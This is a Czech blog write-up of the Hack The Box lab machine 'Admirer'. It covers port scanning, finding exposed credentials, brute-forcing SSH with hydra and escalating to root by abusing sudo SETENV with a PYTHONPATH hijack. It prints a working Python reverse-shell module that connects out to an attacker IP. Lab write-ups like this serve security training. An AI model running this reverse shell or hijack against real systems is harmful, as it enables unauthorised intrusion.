tom@home.htb:~$

Blog o HTB

27 October 2020

Admirer

Úvod a kontext

Admirer stojí hlavně na tom, že několik zdánlivě obyčejných úniků dává dohromady použitelný přístup. Samostatně nevypadá dramaticky ani credentials.txt, ani archiv webu, ani utility skripty, ale dohromady odhalí vztah mezi FTP, WordPressem, databází a účtem waldo.

Didakticky je tenhle stroj zajímavý tím, že user část není o exploitaci konkrétní služby, ale o pečlivém ověření nalezených přihlašovacích údajů. Root pak stojí na chybné delegaci přes SETENV, což je přesně ten typ provozní chyby, který se snadno podcení.

Počáteční průzkum

Vyhledání otevřených portů

Nejdřív potřebuji zjistit, jaké služby cíl nabízí a kam má smysl směřovat další průzkum.

IP=10.10.10.187;ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT      STATE  SERVICE VERSION
21/tcp    open   ftp     vsftpd 3.0.3
22/tcp    open   ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
80/tcp    open   http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir

Web i SSH vypadají zajímavě, takže pokračuji hlubší enumerací webu.

Enumerace webu a hledání citlivých souborů

Z robots.txt vidím cestu /admin-dir, kde očekávám interní soubory.

./dirsearch/dirsearch.py -u http://$IP -e php -x 403 -r
[21:07:44] 301 -  /assets  ->  http://10.10.10.187/assets/
[21:08:04] 301 -  /images  ->  http://10.10.10.187/images/
[21:08:24] 200 -  /robots.txt
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 40 -x php,txt,log,xml -u http://10.10.10.187/admin-dir/
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)
http://10.10.10.187/admin-dir/credentials.txt
[Internal mail account]
__CENSORED__
__CENSORED__

[FTP account]
ftpuser
__CENSORED__

[Wordpress account]
admin
__CENSORED__

V této fázi mám několik kombinací uživatel/heslo. Zároveň z dostupných podkladů (html.tar.gz, index.php, utility-scripts) je vidět, že aplikace pracuje s uživatelem waldo a databázovým heslem, což je další směr k ověření.

Získání přístupu

Získání přístupu přes SSH

Nalezené seznamy uživatelů/hesel (users.txt, pass.txt) ověřím proti SSH.

hydra -L users.txt -P pass.txt $IP ssh
[22][ssh] host: 10.10.10.187   login: ftpuser   password: __CENSORED__
[22][ssh] host: 10.10.10.187   login: waldo   password: __CENSORED__

Funkční je účet waldo, takže se přihlásím do shellu.

ssh waldo@admirer.htb

Získání user flagu

User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.

cat /home/waldo/user.txt
__CENSORED__

Eskalace oprávnění

Průzkum sudo práv

Po získání uživatelského přístupu kontroluji, co je možné spustit přes sudo.

sudo -l
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Možnost SETENV je klíčová, protože dovolí ovlivnit PYTHONPATH a podvrhnout Python modul.

Eskalace oprávnění přes PYTHONPATH

Připravím škodlivý modul shutil.py s reverse shellem a spustím povolený skript se změněným PYTHONPATH.

cat /tmp/T/shutil.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.38",4000))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/bash")
sudo PYTHONPATH=/tmp/T/ /opt/scripts/admin_tasks.sh 6

Po spuštění dostanu shell s vyššími právy.

Získání root flagu

Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.

cat /root/root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - web - ssh - sudo